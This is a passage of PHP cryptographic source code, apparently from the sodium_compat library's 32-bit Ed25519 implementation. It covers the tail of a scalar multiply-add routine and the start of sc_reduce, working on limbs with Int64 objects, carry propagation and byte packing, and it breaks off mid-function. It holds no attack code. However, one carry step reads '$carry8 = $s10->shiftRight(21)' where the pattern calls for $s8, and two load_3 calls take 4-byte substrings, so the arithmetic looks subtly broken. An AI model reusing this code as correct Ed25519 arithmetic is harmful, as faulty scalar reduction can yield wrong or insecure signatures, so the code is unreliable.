24))->addInt64($a1->mulInt64($b3,
24))->addInt64($a2->mulInt64($b2, 24))
                 ->addInt64($a3->mulInt64($b1,
24))->addInt64($a4->mulInt64($b0, 24));
        $s5 = $c5->addInt64($a0->mulInt64($b5,
24))->addInt64($a1->mulInt64($b4,
24))->addInt64($a2->mulInt64($b3, 24))
                 ->addInt64($a3->mulInt64($b2,
24))->addInt64($a4->mulInt64($b1,
24))->addInt64($a5->mulInt64($b0, 24));
        $s6 = $c6->addInt64($a0->mulInt64($b6,
24))->addInt64($a1->mulInt64($b5,
24))->addInt64($a2->mulInt64($b4, 24))
                 ->addInt64($a3->mulInt64($b3,
24))->addInt64($a4->mulInt64($b2,
24))->addInt64($a5->mulInt64($b1, 24))
                 ->addInt64($a6->mulInt64($b0, 24));
        $s7 = $c7->addInt64($a0->mulInt64($b7,
24))->addInt64($a1->mulInt64($b6,
24))->addInt64($a2->mulInt64($b5, 24))
                 ->addInt64($a3->mulInt64($b4,
24))->addInt64($a4->mulInt64($b3,
24))->addInt64($a5->mulInt64($b2, 24))
                 ->addInt64($a6->mulInt64($b1,
24))->addInt64($a7->mulInt64($b0, 24));
        $s8 = $c8->addInt64($a0->mulInt64($b8,
24))->addInt64($a1->mulInt64($b7,
24))->addInt64($a2->mulInt64($b6, 24))
                 ->addInt64($a3->mulInt64($b5,
24))->addInt64($a4->mulInt64($b4,
24))->addInt64($a5->mulInt64($b3, 24))
                 ->addInt64($a6->mulInt64($b2,
24))->addInt64($a7->mulInt64($b1,
24))->addInt64($a8->mulInt64($b0, 24));
        $s9 = $c9->addInt64($a0->mulInt64($b9,
24))->addInt64($a1->mulInt64($b8,
24))->addInt64($a2->mulInt64($b7, 24))
                 ->addInt64($a3->mulInt64($b6,
24))->addInt64($a4->mulInt64($b5,
24))->addInt64($a5->mulInt64($b4, 24))
                 ->addInt64($a6->mulInt64($b3,
24))->addInt64($a7->mulInt64($b2,
24))->addInt64($a8->mulInt64($b1, 24))
                 ->addInt64($a9->mulInt64($b0, 24));
        $s10 = $c10->addInt64($a0->mulInt64($b10,
24))->addInt64($a1->mulInt64($b9,
24))->addInt64($a2->mulInt64($b8, 24))
                   ->addInt64($a3->mulInt64($b7,
24))->addInt64($a4->mulInt64($b6,
24))->addInt64($a5->mulInt64($b5, 24))
                   ->addInt64($a6->mulInt64($b4,
24))->addInt64($a7->mulInt64($b3,
24))->addInt64($a8->mulInt64($b2, 24))
                   ->addInt64($a9->mulInt64($b1,
24))->addInt64($a10->mulInt64($b0, 24));
        $s11 = $c11->addInt64($a0->mulInt64($b11,
24))->addInt64($a1->mulInt64($b10,
24))->addInt64($a2->mulInt64($b9, 24))
                   ->addInt64($a3->mulInt64($b8,
24))->addInt64($a4->mulInt64($b7,
24))->addInt64($a5->mulInt64($b6, 24))
                   ->addInt64($a6->mulInt64($b5,
24))->addInt64($a7->mulInt64($b4,
24))->addInt64($a8->mulInt64($b3, 24))
                   ->addInt64($a9->mulInt64($b2,
24))->addInt64($a10->mulInt64($b1,
24))->addInt64($a11->mulInt64($b0, 24));
        $s12 = $a1->mulInt64($b11,
24)->addInt64($a2->mulInt64($b10,
24))->addInt64($a3->mulInt64($b9, 24))
                  ->addInt64($a4->mulInt64($b8,
24))->addInt64($a5->mulInt64($b7,
24))->addInt64($a6->mulInt64($b6, 24))
                  ->addInt64($a7->mulInt64($b5,
24))->addInt64($a8->mulInt64($b4,
24))->addInt64($a9->mulInt64($b3, 24))
                  ->addInt64($a10->mulInt64($b2,
24))->addInt64($a11->mulInt64($b1, 24));
        $s13 = $a2->mulInt64($b11,
24)->addInt64($a3->mulInt64($b10,
24))->addInt64($a4->mulInt64($b9, 24))
                  ->addInt64($a5->mulInt64($b8,
24))->addInt64($a6->mulInt64($b7,
24))->addInt64($a7->mulInt64($b6, 24))
                  ->addInt64($a8->mulInt64($b5,
24))->addInt64($a9->mulInt64($b4,
24))->addInt64($a10->mulInt64($b3, 24))
                  ->addInt64($a11->mulInt64($b2, 24));
        $s14 = $a3->mulInt64($b11,
24)->addInt64($a4->mulInt64($b10,
24))->addInt64($a5->mulInt64($b9, 24))
                  ->addInt64($a6->mulInt64($b8,
24))->addInt64($a7->mulInt64($b7,
24))->addInt64($a8->mulInt64($b6, 24))
                  ->addInt64($a9->mulInt64($b5,
24))->addInt64($a10->mulInt64($b4,
24))->addInt64($a11->mulInt64($b3, 24));
        $s15 = $a4->mulInt64($b11,
24)->addInt64($a5->mulInt64($b10,
24))->addInt64($a6->mulInt64($b9, 24))
                  ->addInt64($a7->mulInt64($b8,
24))->addInt64($a8->mulInt64($b7,
24))->addInt64($a9->mulInt64($b6, 24))
                  ->addInt64($a10->mulInt64($b5,
24))->addInt64($a11->mulInt64($b4, 24));
        $s16 = $a5->mulInt64($b11,
24)->addInt64($a6->mulInt64($b10,
24))->addInt64($a7->mulInt64($b9, 24))
                  ->addInt64($a8->mulInt64($b8,
24))->addInt64($a9->mulInt64($b7,
24))->addInt64($a10->mulInt64($b6, 24))
                  ->addInt64($a11->mulInt64($b5, 24));
        $s17 = $a6->mulInt64($b11,
24)->addInt64($a7->mulInt64($b10,
24))->addInt64($a8->mulInt64($b9, 24))
                  ->addInt64($a9->mulInt64($b8,
24))->addInt64($a10->mulInt64($b7,
24))->addInt64($a11->mulInt64($b6, 24));
        $s18 = $a7->mulInt64($b11,
24)->addInt64($a8->mulInt64($b10,
24))->addInt64($a9->mulInt64($b9, 24))
                  ->addInt64($a10->mulInt64($b8,
24))->addInt64($a11->mulInt64($b7, 24));
        $s19 = $a8->mulInt64($b11,
24)->addInt64($a9->mulInt64($b10,
24))->addInt64($a10->mulInt64($b9, 24))
                  ->addInt64($a11->mulInt64($b8, 24));
        $s20 = $a9->mulInt64($b11,
24)->addInt64($a10->mulInt64($b10,
24))->addInt64($a11->mulInt64($b9, 24));
        $s21 = $a10->mulInt64($b11,
24)->addInt64($a11->mulInt64($b10, 24));
        $s22 = $a11->mulInt64($b11, 24);
        $s23 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));
        $carry18 = $s18->addInt(1 << 20)->shiftRight(21);
        $s19 = $s19->addInt64($carry18);
        $s18 = $s18->subInt64($carry18->shiftLeft(21));
        $carry20 = $s20->addInt(1 << 20)->shiftRight(21);
        $s21 = $s21->addInt64($carry20);
        $s20 = $s20->subInt64($carry20->shiftLeft(21));
        $carry22 = $s22->addInt(1 << 20)->shiftRight(21);
        $s23 = $s23->addInt64($carry22);
        $s22 = $s22->subInt64($carry22->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));
        $carry17 = $s17->addInt(1 << 20)->shiftRight(21);
        $s18 = $s18->addInt64($carry17);
        $s17 = $s17->subInt64($carry17->shiftLeft(21));
        $carry19 = $s19->addInt(1 << 20)->shiftRight(21);
        $s20 = $s20->addInt64($carry19);
        $s19 = $s19->subInt64($carry19->shiftLeft(21));
        $carry21 = $s21->addInt(1 << 20)->shiftRight(21);
        $s22 = $s22->addInt64($carry21);
        $s21 = $s21->subInt64($carry21->shiftLeft(21));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s10->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0  =  $s0->toInt();
        $S1  =  $s1->toInt();
        $S2  =  $s2->toInt();
        $S3  =  $s3->toInt();
        $S4  =  $s4->toInt();
        $S5  =  $s5->toInt();
        $S6  =  $s6->toInt();
        $S7  =  $s7->toInt();
        $S8  =  $s8->toInt();
        $S9  =  $s9->toInt();
        $S10 = $s10->toInt();
        $S11 = $s11->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($S0 >> 0)),
            (int) (0xff & ($S0 >> 8)),
            (int) (0xff & (($S0 >> 16) | ($S1 << 5))),
            (int) (0xff & ($S1 >> 3)),
            (int) (0xff & ($S1 >> 11)),
            (int) (0xff & (($S1 >> 19) | ($S2 << 2))),
            (int) (0xff & ($S2 >> 6)),
            (int) (0xff & (($S2 >> 14) | ($S3 << 7))),
            (int) (0xff & ($S3 >> 1)),
            (int) (0xff & ($S3 >> 9)),
            (int) (0xff & (($S3 >> 17) | ($S4 << 4))),
            (int) (0xff & ($S4 >> 4)),
            (int) (0xff & ($S4 >> 12)),
            (int) (0xff & (($S4 >> 20) | ($S5 << 1))),
            (int) (0xff & ($S5 >> 7)),
            (int) (0xff & (($S5 >> 15) | ($S6 << 6))),
            (int) (0xff & ($S6 >> 2)),
            (int) (0xff & ($S6 >> 10)),
            (int) (0xff & (($S6 >> 18) | ($S7 << 3))),
            (int) (0xff & ($S7 >> 5)),
            (int) (0xff & ($S7 >> 13)),
            (int) (0xff & ($S8 >> 0)),
            (int) (0xff & ($S8 >> 8)),
            (int) (0xff & (($S8 >> 16) | ($S9 << 5))),
            (int) (0xff & ($S9 >> 3)),
            (int) (0xff & ($S9 >> 11)),
            (int) (0xff & (($S9 >> 19) | ($S10 << 2))),
            (int) (0xff & ($S10 >> 6)),
            (int) (0xff & (($S10 >> 14) | ($S11 << 7))),
            (int) (0xff & ($S11 >> 1)),
            (int) (0xff & ($S11 >> 9)),
            (int) (0xff & ($S11 >> 17))
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */
        $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($s, 0, 3)));
        $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 2, 4)) >> 5));
        $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 5, 3)) >> 2));
        $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 7, 4)) >> 7));
        $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 10, 4)) >> 4));
        $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 13, 3)) >> 1));
        $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 15, 4)) >> 6));
        $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 18, 4)) >> 3));
        $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($s, 21, 3)));
        $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 23, 4)) >> 5));
        $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 26, 3)) >> 2));
        $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 28, 4)) >> 7));
        $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 31, 4)) >> 4));
        $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 34, 3)) >> 1));
        $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 36, 4)) >> 6));
        $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 39, 4)) >> 3));
        $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($s, 42, 3)));
        $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 44, 4)) >> 5));
        $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 47, 3)) >> 2));
        $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 49, 4)) >> 7));
        $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 52, 4)) >> 4));
        $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($s, 55, 3)) >> 1));
        $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($s, 57, 4)) >> 6));
        $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff &
(self::load_4(self::substr($s, 60, 4)) >> 3));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
